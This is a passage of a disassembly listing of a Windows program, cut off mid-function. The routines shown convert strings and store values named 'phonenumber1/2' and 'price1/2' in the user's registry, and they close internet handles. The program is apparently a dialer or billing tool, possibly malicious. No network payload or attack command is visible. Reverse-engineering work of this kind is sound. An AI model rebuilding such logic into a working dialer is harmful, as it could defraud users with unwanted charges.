		mov	[ebp+bstrString], edi


loc_407C40:				; CODE XREF: sub_407820+3C2j
					; sub_407820+41Bj
		mov	ecx, offset MultiByteStr ; "\\"
		test	ecx, ecx
		jnz	short loc_407C4E
		mov	[ebp+lpString],	edi
		jmp	short loc_407C84
; ---------------------------------------------------------------------------


loc_407C4E:				; CODE XREF: sub_407820+427j
		push	offset MultiByteStr ; "\\"
		call	ebx ; lstrlenA
		mov	esi, eax
		inc	esi
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_40AF70
		mov	edi, esp
		push	esi		; cchWideChar
		push	edi		; lpWideCharStr
		push	0FFFFFFFFh	; cbMultiByte
		push	offset MultiByteStr ; "\\"
		push	0		; dwFlags
		push	0		; CodePage
		mov	word ptr [edi],	0
		call	ds:MultiByteToWideChar	; MultiByteToWideChar
		mov	[ebp+lpString],	edi
		xor	edi, edi


loc_407C84:				; CODE XREF: sub_407820+42Cj
		mov	edx, [ebp+lpString]
		push	edx		; lpString
		call	ds:lstrlenW	; lstrlenW
		mov	ebx, eax
		mov	eax, [ebp+bstrString]
		cmp	eax, edi
		mov	[ebp+var_38], ebx
		jnz	short loc_407C9E
		xor	esi, esi
		jmp	short loc_407CA7
; ---------------------------------------------------------------------------


loc_407C9E:				; CODE XREF: sub_407820+478j
		push	eax		; BSTR
		call	ds:SysStringLen
		mov	esi, eax


loc_407CA7:				; CODE XREF: sub_407820+47Cj
		lea	eax, [esi+ebx]
		push	eax		; ui
		push	edi		; strIn
		mov	[ebp+var_30], eax
		call	ds:SysAllocStringLen
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_407D02
		lea	eax, [esi+esi]
		mov	esi, [ebp+bstrString]
		mov	ecx, eax
		mov	edi, ebx
		mov	edx, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	ecx, [ebp+var_38]
		mov	esi, [ebp+lpString]
		add	ecx, ecx
		lea	edi, [eax+ebx]
		mov	edx, ecx
		mov	eax, [ebp+var_30]
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	word ptr [ebx+eax*2], 0
		mov	ecx, [ebp+bstrString]
		push	ecx		; bstrString
		call	ds:SysFreeString
		mov	[ebp+bstrString], ebx


loc_407D02:				; CODE XREF: sub_407820+499j
		mov	edi, [ebp+var_20]
		push	7Ah		; bstrString
		lea	ecx, [ebp+bstrString]
		mov	edx, [edi+1Ch]
		push	edx		; hInstance
		call	sub_40A840
		mov	eax, [ebp+arg_0]
		push	2
		push	offset aXx	; "xx"
		push	eax
		call	sub_40B490
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_407D9C
		lea	ecx, [ebp+dwDisposition]
		lea	edx, [ebp+hKey]
		push	ecx		; lpdwDisposition
		push	edx		; phkResult
		push	eax		; lpSecurityAttributes
		push	0F003Fh		; samDesired
		push	eax		; dwOptions
		push	eax		; lpClass
		push	eax		; Reserved
		lea	ecx, [ebp+bstrString]
		call	sub_40A2D0
		push	eax		; lpSubKey
		push	80000001h	; hKey
		call	ds:RegCreateKeyExA	; RegCreateKeyExA
		test	eax, eax
		jnz	short loc_407D94
		mov	eax, [ebp+cbData]
		mov	edx, [ebp+hKey]
		mov	esi, ds:RegSetValueExA
		lea	ecx, [ebp+String2]
		push	eax		; cbData
		push	ecx		; lpData
		push	1		; dwType
		push	0		; Reserved
		push	offset aPhonenumber2 ; "phonenumber2"
		push	edx		; hKey
		call	esi ; RegSetValueExA
		mov	eax, [ebp+var_18]
		mov	edx, [ebp+hKey]
		lea	ecx, [ebp+var_98]
		push	eax		; cbData
		push	ecx		; lpData
		push	1		; dwType
		push	0		; Reserved
		push	offset aPrice2	; "price2"
		push	edx		; hKey
		call	esi ; RegSetValueExA
		mov	eax, [ebp+hKey]
		push	eax		; hKey
		call	ds:RegCloseKey	; RegCloseKey


loc_407D94:				; CODE XREF: sub_407820+531j
		lea	ecx, [ebp+String2]
		push	ecx
		push	2
		jmp	short loc_407E0F
; ---------------------------------------------------------------------------


loc_407D9C:				; CODE XREF: sub_407820+508j
		lea	edx, [ebp+dwDisposition]
		lea	eax, [ebp+hKey]
		push	edx		; lpdwDisposition
		push	eax		; phkResult
		push	0		; lpSecurityAttributes
		push	0F003Fh		; samDesired
		push	0		; dwOptions
		push	0		; lpClass
		push	0		; Reserved
		lea	ecx, [ebp+bstrString]
		call	sub_40A2D0
		push	eax		; lpSubKey
		push	80000001h	; hKey
		call	ds:RegCreateKeyExA	; RegCreateKeyExA
		test	eax, eax
		jnz	short loc_407E09
		mov	ecx, [ebp+cbData]
		mov	esi, ds:RegSetValueExA
		lea	edx, [ebp+String2]
		push	ecx		; cbData
		push	edx		; lpData
		push	1		; dwType
		push	eax		; Reserved
		mov	eax, [ebp+hKey]
		push	offset aPhonenumber1 ; "phonenumber1"
		push	eax		; hKey
		call	esi ; RegSetValueExA
		mov	ecx, [ebp+var_18]
		mov	eax, [ebp+hKey]
		lea	edx, [ebp+var_98]
		push	ecx		; cbData
		push	edx		; lpData
		push	1		; dwType
		push	0		; Reserved
		push	offset aPrice1	; "price1"
		push	eax		; hKey
		call	esi ; RegSetValueExA
		mov	ecx, [ebp+hKey]
		push	ecx		; hKey
		call	ds:RegCloseKey	; RegCloseKey


loc_407E09:				; CODE XREF: sub_407820+5A7j
		lea	edx, [ebp+String2]
		push	edx		; lpString2
		push	1		; int


loc_407E0F:				; CODE XREF: sub_407820+57Aj
		lea	ecx, [edi+20h]
		call	sub_409350
		mov	eax, [ebp+lpMem]
		xor	edi, edi
		cmp	eax, edi
		jz	short loc_407E2C
		push	eax		; lpMem
		call	sub_40AF10
		add	esp, 4
		mov	[ebp+lpMem], edi


loc_407E2C:				; CODE XREF: sub_407820+5FEj
		mov	eax, [ebp+bstrString]
		push	eax		; bstrString
		call	ds:SysFreeString
		mov	esi, [ebp+var_2C]
		mov	ebx, [ebp+var_24]
		push	esi
		call	ds:InternetCloseHandle	; InternetCloseHandle
		push	ebx
		call	ds:InternetCloseHandle	; InternetCloseHandle
		mov	eax, edi
		lea	esp, [ebp-0EA4h]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------


loc_407E5B:				; CODE XREF: sub_407820+364j
		mov	ebx, [ebp+var_24]
		mov	esi, [ebp+var_2C]
		mov	edi, 0FFFFFFFDh


loc_407E66:				; CODE XREF: sub_407820+10Cj
					; sub_407820+119j
		push	esi
		call	ds:InternetCloseHandle	; InternetCloseHandle
		push	ebx
		call	ds:InternetCloseHandle	; InternetCloseHandle
		mov	eax, edi
		lea	esp, [ebp-0EA4h]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------


loc_407E85:				; CODE XREF: sub_407820+E8j
		push	ebx
		mov	edi, 0FFFFFFFEh
		call	ds:InternetCloseHandle	; InternetCloseHandle
		mov	eax, edi
		lea	esp, [ebp-0EA4h]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------


loc_407EA2:				; CODE XREF: sub_407820+2Bj
					; sub_407820+48j ...
		lea	esp, [ebp-0EA4h]
		or	eax, 0FFFFFFFFh
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	4
sub_407820	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407EC0	proc near		; CODE XREF: sub_405C90+152p
					; sub_406720+40p

psz		= byte ptr -438h
Data		= byte ptr -338h
String		= byte ptr -238h
var_138		= byte ptr -138h
bstrString	= dword	ptr -38h
lpMem		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= byte ptr -2Ch
var_E		= byte ptr -0Eh
Type		= dword	ptr -0Ch
cbData		= dword	ptr -8
hKey		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 438h
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		lea	ecx, [ebp+psz]
		push	200h		; cchBufferMax
		mov	eax, [edi+1Ch]
		push	ecx		; lpBuffer
		xor	ebx, ebx
		push	71h		; uID
		push	eax		; hInstance
		mov	[ebp+Type], edi
		mov	[ebp+bstrString], ebx
		mov	[ebp+lpMem], ebx
		mov	[ebp+var_30], ebx
		mov	[ebp+var_2C], bl
		mov	[ebp+var_E], bl
		call	ds:LoadStringA	; LoadStringA
		mov	edx, [ebp+bstrString]
		mov	esi, eax
		push	edx		; bstrString
		call	ds:SysFreeString
		cmp	esi, ebx
		jz	short loc_407F66
		lea	eax, [ebp+psz]
		test	eax, eax
		jnz	short loc_407F20
		push	eax		; psz
		call	ds:SysAllocString
		mov	[ebp+bstrString], eax
		jmp	short loc_407F69
; ---------------------------------------------------------------------------


loc_407F20:				; CODE XREF: sub_407EC0+52j
		lea	ecx, [ebp+psz]
		push	ecx		; lpString
		call	ds:lstrlenA	; lstrlenA
		mov	esi, eax
		inc	esi
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_40AF70
		mov	edi, esp
		push	esi		; cchWideChar
		push	edi		; lpWideCharStr
		lea	edx, [ebp+psz]
		push	0FFFFFFFFh	; cbMultiByte
		push	edx		; lpMultiByteStr
		push	ebx		; dwFlags
		push	ebx		; CodePage
		mov	[edi], bx
		call	ds:MultiByteToWideChar	; MultiByteToWideChar
		mov	eax, edi
		mov	edi, [ebp+Type]
		push	eax		; psz
		call	ds:SysAllocString
		mov	[ebp+bstrString], eax
		jmp	short loc_407F69
; ---------------------------------------------------------------------------


loc_407F66:				; CODE XREF: sub_407EC0+48j
		mov	[ebp+bstrString], ebx


loc_407F69:				; CODE XREF: sub_407EC0+5Ej
					; sub_407EC0+A4j
		mov	eax, offset MultiByteStr ; "\\"
		test	eax, eax
		jnz	short loc_407F76
		xor	esi, esi
		jmp	short loc_407FA2
; ---------------------------------------------------------------------------


loc_407F76:				; CODE XREF: sub_407EC0+B0j
		push	offset MultiByteStr ; "\\"
		call	ds:lstrlenA	; lstrlenA
		mov	esi, eax
		inc	esi
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_40AF70
		mov	eax, esp
		push	ebx		; CodePage
		push	esi		; cchWideChar
		push	offset MultiByteStr ; "\\"
		push	eax		; lpWideCharStr
		call	sub_401560
		mov	esi, eax


loc_407FA2:				; CODE XREF: sub_407EC0+B4j
		push	esi		; lpString
		call	ds:lstrlenW	; lstrlenW
		push	eax
		push	esi
		lea	ecx, [ebp+bstrString]
		call	sub_403920
		mov	ecx, [edi+1Ch]
		push	7Ah		; bstrString
		push	ecx		; hInstance
		lea	ecx, [ebp+bstrString]
		call	sub_40A840
		lea	ecx, [ebp+bstrString]
		call	sub_40A2D0
		push	eax		; phkResult
		lea	ecx, [edi+20h]	; int
		call	sub_408FC0
		test	al, al
		jnz	short loc_40800A
		mov	ecx, edi
		call	sub_4081B0
		mov	eax, [ebp+lpMem]
		cmp	eax, ebx
		jz	short loc_407FF0
		push	eax		; lpMem
		call	sub_40AF10
		add	esp, 4
		mov	[ebp+lpMem], ebx


loc_407FF0:				; CODE XREF: sub_407EC0+122j
		mov	edx, [ebp+bstrString]
		push	edx		; bstrString
		call	ds:SysFreeString
		or	eax, 0FFFFFFFFh
		lea	esp, [ebp-444h]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_40800A:				; CODE XREF: sub_407EC0+114j
		lea	eax, [ebp+hKey]
		lea	ecx, [ebp+bstrString]
		push	eax		; phkResult
		push	20019h		; samDesired
		push	ebx		; ulOptions
		call	sub_40A2D0
		mov	edi, ds:RegOpenKeyExA
		push	eax		; lpSubKey
		push	80000001h	; hKey
		call	edi ; RegOpenKeyExA
		test	eax, eax
		jnz	loc_408108
		mov	eax, lpValueName
		mov	esi, ds:RegQueryValueExA
		lea	ecx, [ebp+cbData]
		lea	edx, [ebp+Type]
		push	ecx		; lpcbData
		mov	ecx, [ebp+hKey]
		push	ebx		; lpData
		push	edx		; lpType
		push	ebx		; lpReserved
		push	eax		; lpValueName
		push	ecx		; hKey
		call	esi ; RegQueryValueExA
		test	eax, eax
		jnz	short loc_408095
		lea	edx, [ebp+cbData]
		lea	eax, [ebp+Data]
		push	edx		; lpcbData
		mov	edx, lpValueName
		lea	ecx, [ebp+Type]
		push	eax		; lpData
		mov	eax, [ebp+hKey]
		push	ecx		; lpType
		push	ebx		; lpReserved
		push	edx		; lpValueName
		push	eax		; hKey
		call	esi ; RegQueryValueExA
		mov	ecx, [ebp+cbData]
		lea	edx, [ebp+Data]
		push	ecx
		lea	eax, [ebp+String]
		push	edx
		push	eax
		call	sub_40B070
		mov	ecx, [ebp+cbData]
		add	esp, 0Ch
		mov	[ebp+ecx+String], bl
		jmp	short loc_40809B
; ---------------------------------------------------------------------------


loc_408095:				; CODE XREF: sub_407EC0+190j
		mov	[ebp+String], bl


loc_40809B:				; CODE XREF: sub_407EC0+1D3j
		mov	ecx, off_40F27C
		lea	edx, [ebp+cbData]
		push	edx		; lpcbData
		mov	edx, [ebp+hKey]
		lea	eax, [ebp+Type]
		push	ebx		; lpData
		push	eax		; lpType
		push	ebx		; lpReserved
		push	ecx		; lpValueName
		push	edx		; hKey
		call	esi ; RegQueryValueExA
		test	eax, eax
		jnz	short loc_4080F8
		lea	eax, [ebp+cbData]
		lea	ecx, [ebp+Data]
		push	eax		; lpcbData
		mov	eax, off_40F27C
		lea	edx, [ebp+Type]
		push	ecx		; lpData
		mov	ecx, [ebp+hKey]
		push	edx		; lpType
		push	ebx		; lpReserved
		push	eax		; lpValueName
		push	ecx		; hKey
		call	esi ; RegQueryValueExA
		mov	edx, [ebp+cbData]
		lea	eax, [ebp+Data]
		push	edx
		lea	ecx, [ebp+var_138]
		push	eax
		push	ecx
		call	sub_40B070
		mov	edx, [ebp+cbData]
		add	esp, 0Ch
		mov	[ebp+edx+var_138], bl
		jmp	short loc_4080FE
; ---------------------------------------------------------------------------


loc_4080F8:				; CODE XREF: sub_407EC0+1F4j
		mov	[ebp+var_138], bl


loc_4080FE:				; CODE XREF: sub_407EC0+236j
		mov	eax, [ebp+hKey]
		push	eax		; hKey
		call	ds:RegCloseKey	; RegCloseKey


loc_408108:				; CODE XREF: sub_407EC0+16Cj
		mov	edx, lpSubKey
		lea	ecx, [ebp+hKey]
		push	ecx		; phkResult
		push	0F003Fh		; samDesired
		push	ebx		; ulOptions
		push	edx		; lpSubKey
		push	80000001h	; hKey
		call	edi ; RegOpenKeyExA
		test	eax, eax
		jnz	short loc_40817B
		mov	edi, ds:lstrlenA
		lea	eax, [ebp+String]
		push	eax		; lpString
		call	edi ; lstrlenA
		mov	edx, lpValueName
		mov	esi, ds:RegSetValueExA
		lea	ecx, [ebp+String]
		push	eax		; cbData
		mov	eax, [ebp+hKey]
		push	ecx		; lpData
		push	1		; dwType
		push	ebx		; Reserved
		push	edx		; lpValueName
		push	eax		; hKey
		call	esi ; RegSetValueExA
		lea	ecx, [ebp+var_138]
		push	ecx		; lpString
		call	edi ; lstrlenA
		mov	ecx, [ebp+hKey]
		lea	edx, [ebp+var_138]
		push	eax		; cbData
		mov	eax, off_40F27C
		push	edx		; lpData
		push	1		; dwType
		push	ebx		; Reserved
		push	eax		; lpValueName
		push	ecx		; hKey
		call	esi ; RegSetValueExA
		mov	edx, [ebp+hKey]
		push	edx		; hKey
		call	ds:RegCloseKey	; RegCloseKey


loc_40817B:				; CODE XREF: sub_407EC0+262j
		mov	eax, [ebp+lpMem]
		cmp	eax, ebx
		jz	short loc_40818E
		push	eax		; lpMem
		call	sub_40AF10
		add	esp, 4
		mov	[ebp+lpMem], ebx


loc_40818E:				; CODE XREF: sub_407EC0+2C0j
		mov	eax, [ebp+bstrString]
		push	eax		; bstrString
		call	ds:SysFreeString
		lea	esp, [ebp-444h]
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_407EC0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4081B0	proc near		; CODE XREF: sub_407EC0+118p

String		= byte ptr -54Ch
Data		= byte ptr -34Ch
var_24C		= byte ptr -24Ch
var_14C		= byte ptr -14Ch
dwDisposition	= dword	ptr -4Ch
bstrString	= dword	ptr -48h
lpMem		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= byte ptr -3Ch
var_1E		= byte ptr -1Eh
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
lpString	= dword	ptr -10h
Type		= dword	ptr -0Ch
cbData		= dword	ptr -8
hKey		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 54Ch
		push	ebx
		push	esi
		push	edi
		lea	eax, [ebp+hKey]
		mov	edi, ecx
		push	eax		; phkResult
		mov	ecx, lpSubKey
		xor	ebx, ebx
		push	20019h		; samDesired
		push	ebx		; ulOptions
		push	ecx		; lpSubKey
		push	80000001h	; hKey
		mov	[ebp+var_14], edi
		call	ds:RegOpenKeyExA	; RegOpenKeyExA
		test	eax, eax
		jnz	loc_4082C1
		mov	ecx, lpValueName
		mov	esi, ds:RegQueryValueExA
		lea	edx, [ebp+cbData]
		lea	eax, [ebp+Type]
		push	edx		; lpcbData
		mov	edx, [ebp+hKey]
		push	ebx		; lpData
		push	eax		; lpType
		push	ebx		; lpReserved
		push	ecx		; lpValueName
		push	edx		; hKey
		call	esi ; RegQueryValueExA
		test	eax, eax
		jnz	short loc_40824A
		lea	eax, [ebp+cbData]
		lea	ecx, [ebp+Data]
		push	eax		; lpcbData
		mov	eax, lpValueName
		lea	edx, [ebp+Type]
		push	ecx		; lpData
		mov	ecx, [ebp+hKey]
		push	edx		; lpType
		push	ebx		; lpReserved
		push	eax		; lpValueName
		push	ecx		; hKey
		call	esi ; RegQueryValueExA
		mov	edx, [ebp+cbData]
		lea	eax, [ebp+Data]
		push	edx
		lea	ecx, [ebp+var_24C]
		push	eax
		push	ecx
		call	sub_40B070
		mov	edx, [ebp+cbData]
		add	esp, 0Ch
		mov	[ebp+edx+var_24C], bl
		jmp	short loc_408251
; ---------------------------------------------------------------------------


loc_40824A:				; CODE XREF: sub_4081B0+56j
		mov	[ebp+var_24C], 0


loc_408251:				; CODE XREF: sub_4081B0+98j
		mov	edx, off_40F27C
		lea	eax, [ebp+cbData]
		push	eax		; lpcbData
		mov	eax, [ebp+hKey]
		lea	ecx, [ebp+Type]
		push	ebx		; lpData
		push	ecx		; lpType
		push	ebx		; lpReserved
		push	edx		; lpValueName
		push	eax		; hKey
		call	esi ; RegQueryValueExA
		test	eax, eax
		jnz	short loc_4082B0
		lea	ecx, [ebp+cbData]
		lea	edx, [ebp+Data]
		push	ecx		; lpcbData
		mov	ecx, off_40F27C
		lea	eax, [ebp+Type]
		push	edx		; lpData
		mov	edx, [ebp+hKey]
		push	eax		; lpType
		push	ebx		; lpReserved
		push	ecx		; lpValueName
		push	edx		; hKey
		call	esi ; RegQueryValueExA
		mov	eax, [ebp+cbData]
		lea	ecx, [ebp+Data]
		push	eax
		lea	edx, [ebp+var_14C]
		push	ecx
		push	edx
		call	sub_40B070
		mov	eax, [ebp+cbData]
		add	esp, 0Ch
		mov	[ebp+eax+var_14C], 0
		jmp	short loc_4082B7
; ---------------------------------------------------------------------------


loc_4082B0:				; CODE XREF: sub_4081B0+BAj
		mov	[ebp+var_14C], 0


loc_4082B7:				; CODE XREF: sub_4081B0+FEj
		mov	ecx, [ebp+hKey]
		push	ecx		; hKey
		call	ds:RegCloseKey	; RegCloseKey


loc_4082C1:				; CODE XREF: sub_4081B0+31j
		mov	eax, [edi+1Ch]
		lea	edx, [ebp+String]
		push	200h		; cchBufferMax
		push	edx		; lpBuffer
		push	71h		; uID
		push	eax		; hInstance
		mov	[ebp+bstrString], ebx
		mov	[ebp+lpMem], ebx
		mov	[ebp+var_40], ebx
		mov	[ebp+var_3C], 0
		mov	[ebp+var_1E], 0
		call	ds:LoadStringA	; LoadStringA
		mov	esi, eax
		mov	eax, [ebp+bstrString]
		push	eax		; bstrString
		call	ds:SysFreeString
		mov	edi, ds:MultiByteToWideChar
		cmp	esi, ebx
		jz	short loc_40835D
		lea	ecx, [ebp+String]
		test	ecx, ecx
		jnz	short loc_408318
		xor	eax, eax
		push	eax		; psz
		call	ds:SysAllocString
		mov	[ebp+bstrString], eax
		jmp	short loc_408360
; ---------------------------------------------------------------------------


loc_408318:				; CODE XREF: sub_4081B0+158j
		lea	edx, [ebp+String]
		push	edx		; lpString
		call	ds:lstrlenA	; lstrlenA
		mov	esi, eax
		inc	esi
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_40AF70
		mov	ebx, esp
		push	esi		; cchWideChar
		push	ebx		; lpWideCharStr
		lea	eax, [ebp+String]
		push	0FFFFFFFFh	; cbMultiByte
		push	eax		; lpMultiByteStr
		push	0		; dwFlags
		push	0		; CodePage
		mov	word ptr [ebx],	0
		call	edi ; MultiByteToWideChar
		mov	eax, ebx
		xor	ebx, ebx
		push	eax		; psz
		call	ds:SysAllocString
		mov	[ebp+bstrString], eax
		jmp	short loc_408360
; ---------------------------------------------------------------------------


loc_40835D:				; CODE XREF: sub_4081B0+14Ej
		mov	[ebp+bstrString], ebx


loc_408360:				; CODE XREF: sub_4081B0+166j
					; sub_4081B0+1ABj
		mov	ecx, offset MultiByteStr ; "\\"
		test	ecx, ecx
		jnz	short loc_40836E
		mov	[ebp+lpString],	ebx
		jmp	short loc_4083A4
; ---------------------------------------------------------------------------


loc_40836E:				; CODE XREF: sub_4081B0+1B7j
		push	offset MultiByteStr ; "\\"
		call	ds:lstrlenA	; lstrlenA
		mov	esi, eax
		inc	esi
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_40AF70
		mov	ebx, esp
		push	esi		; cchWideChar
		push	ebx		; lpWideCharStr
		push	0FFFFFFFFh	; cbMultiByte
		push	offset MultiByteStr ; "\\"
		push	0		; dwFlags
		push	0		; CodePage
		mov	word ptr [ebx],	0
		call	edi ; MultiByteToWideChar
		mov	[ebp+lpString],	ebx
		xor	ebx, ebx


loc_4083A4:				; CODE XREF: sub_4081B0+1BCj
		mov	edx, [ebp+lpString]
		push	edx		; lpString
		call	ds:lstrlenW	; lstrlenW
		mov	edi, eax
		mov	eax, [ebp+bstrString]
		cmp	eax, ebx
		mov	[ebp+var_1C], edi
		jnz	short loc_4083BE
		xor	esi, esi
		jmp	short loc_4083C7
; ---------------------------------------------------------------------------


loc_4083BE:				; CODE XREF: sub_4081B0+208j
		push	eax		; BSTR
		call	ds:SysStringLen
		mov	esi, eax


loc_4083C7:				; CODE XREF: sub_4081B0+20Cj
		lea	eax, [esi+edi]
		push	eax		; ui
		push	ebx		; strIn
		mov	[ebp+var_18], eax
		call	ds:SysAllocStringLen
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_408422
		lea	eax, [esi+esi]
		mov	esi, [ebp+bstrString]
		mov	ecx, eax
		mov	edi, ebx
		mov	edx, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	ecx, [ebp+var_1C]
		mov	esi, [ebp+lpString]
		add	ecx, ecx
		lea	edi, [eax+ebx]
		mov	edx, ecx
		mov	eax, [ebp+var_18]
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	word ptr [ebx+eax*2], 0
		mov	ecx, [ebp+bstrString]
		push	ecx		; bstrString
		call	ds:SysFreeString
		mov	[ebp+bstrString], ebx


loc_408422:				; CODE XREF: sub_4081B0+229j
		mov	edx, [ebp+var_14]
		push	7Ah		; bstrString
		lea	ecx, [ebp+bstrString]
		mov	eax, [edx+1Ch]
		push	eax		; hInstance
		call	sub_40A840
		lea	ecx, [ebp+dwDisposition]
		lea	edx, [ebp+hKey]
		push	ecx		; lpdwDisposition
		push	edx		; phkResult
		push	0		; lpSecurityAttributes
		push	0F003Fh		; samDesired
		push	0		; dwOptions
		push	0		; lpClass
		push	0		; Reserved
		lea	ecx, [ebp+bstrString]
		call	sub_40A2D0
		push	eax		; lpSubKey
		push	80000001h	; hKey
		call	ds:RegCreateKeyExA	; RegCreateKeyExA
		test	eax, eax
		jnz	short loc_4084B9
		mov	edi, ds:lstrlenA
		lea	eax, [ebp+var_24C]
		push	eax		; lpString
		call	edi ; lstrlenA
		mov	edx, lpValueName
		mov	esi, ds:RegSetValueExA
		lea	ecx, [ebp+var_24C]
		push	eax		; cbData
		mov	eax, [ebp+hKey]
		push	ecx		; lpData
		push	1		; dwType
		push	0		; Reserved
		push	edx		; lpValueName
		push	eax		; hKey
		call	esi ; RegSetValueExA
		lea	ecx, [ebp+var_14C]
		push	ecx		; lpString
		call	edi ; lstrlenA
		mov	ecx, [ebp+hKey]
		lea	edx, [ebp+var_14C]
		push	eax		; cbData
		mov	eax, off_40F27C
		push	edx		; lpData
		push	1		; dwType
		push	0		; Reserved
		push	eax		; lpValueName
		push	ecx		; hKey
		call	esi ; RegSetValueExA
		mov	edx, [ebp+hKey]
		push	edx		; hKey
		call	ds:RegCloseKey	; RegCloseKey


loc_4084B9:				; CODE XREF: sub_4081B0+2AEj
		mov	eax, [ebp+lpMem]
		test	eax, eax
		jz	short loc_4084D0
		push	eax		; lpMem
		call	sub_40AF10
		add	esp, 4
		mov	[ebp+lpMem], 0


loc_4084D0:				; CODE XREF: sub_4081B0+30Ej
		mov	eax, [ebp+bstrString]
		push	eax		; bstrString
		call	ds:SysFreeString
		lea	esp, [ebp-558h]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4081B0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __stdcall	sub_4084F0(BYTE	*lpData)

sub_4084F0	proc near		; CODE XREF: sub_406E00+3Ap

psz		= byte ptr -244h
dwDisposition	= dword	ptr -44h
bstrString	= dword	ptr -40h
lpMem		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= byte ptr -34h
var_16		= byte ptr -16h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
hKey		= dword	ptr -8
lpString	= dword	ptr -4
lpData		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 244h
		mov	eax, [ecx+1Ch]
		push	ebx
		push	esi
		mov	[ebp+var_10], ecx
		push	edi
		lea	ecx, [ebp+psz]
		push	200h		; cchBufferMax
		push	ecx		; lpBuffer
		xor	ebx, ebx
		push	71h		; uID
		push	eax		; hInstance
		mov	[ebp+bstrString], ebx
		mov	[ebp+lpMem], ebx
		mov	[ebp+var_38], ebx
		mov	[ebp+var_34], bl
		mov	[ebp+var_16], bl
		call	ds:LoadStringA	; LoadStringA
		mov	edx, [ebp+bstrString]
		mov	esi, eax
		push	edx		; bstrString
		call	ds:SysFreeString
		mov	edi, ds:lstrlenA
		cmp	esi, ebx
		jz	short loc_408599
		lea	eax, [ebp+psz]
		test	eax, eax
		jnz	short loc_408554
		push	eax		; psz
		call	ds:SysAllocString
		mov	[ebp+bstrString], eax
		jmp	short loc_40859C
; ---------------------------------------------------------------------------


loc_408554:				; CODE XREF: sub_4084F0+56j
		lea	ecx, [ebp+psz]
		push	ecx		; lpString
		call	edi ; lstrlenA
		mov	esi, eax
		inc	esi
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_40AF70
		mov	ebx, esp
		push	esi		; cchWideChar
		push	ebx		; lpWideCharStr
		lea	edx, [ebp+psz]
		push	0FFFFFFFFh	; cbMultiByte
		push	edx		; lpMultiByteStr
		push	0		; dwFlags
		push	0		; CodePage
		mov	word ptr [ebx],	0
		call	ds:MultiByteToWideChar	; MultiByteToWideChar
		mov	eax, ebx
		xor	ebx, ebx
		push	eax		; psz
		call	ds:SysAllocString
		mov	[ebp+bstrString], eax
		jmp	short loc_40859C
; ---------------------------------------------------------------------------


loc_408599:				; CODE XREF: sub_4084F0+4Cj
		mov	[ebp+bstrString], ebx


loc_40859C:				; CODE XREF: sub_4084F0+62j
					; sub_4084F0+A7j
		mov	eax, offset MultiByteStr ; "\\"
		test	eax, eax
		jnz	short loc_4085AA
		mov	[ebp+lpString],	ebx
		jmp	short loc_4085E0
; ---------------------------------------------------------------------------


loc_4085AA:				; CODE XREF: sub_4084F0+B3j
		push	offset MultiByteStr ; "\\"
		call	edi ; lstrlenA
		mov	esi, eax
		inc	esi
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_40AF70
		mov	ebx, esp
		push	esi		; cchWideChar
		push	ebx		; lpWideCharStr
		push	0FFFFFFFFh	; cbMultiByte
		push	offset MultiByteStr ; "\\"
		push	0		; dwFlags
		push	0		; CodePage
		mov	word ptr [ebx],	0
		call	ds:MultiByteToWideChar	; MultiByteToWideChar
		mov	[ebp+lpString],	ebx
		xor	ebx, ebx


loc_4085E0:				; CODE XREF: sub_4084F0+B8j
		mov	ecx, [ebp+lpString]
		push	ecx		; lpString
		call	ds:lstrlenW	; lstrlenW
		mov	edi, eax
		mov	eax, [ebp+bstrString]
		cmp	eax, ebx
		mov	[ebp+var_14], edi
		jnz	short loc_4085FA
		xor	esi, esi
		jmp	short loc_408603
; ---------------------------------------------------------------------------


loc_4085FA:				; CODE XREF: sub_4084F0+104j
		push	eax		; BSTR
		call	ds:SysStringLen
		mov	esi, eax


loc_408603:				; CODE XREF: sub_4084F0+108j
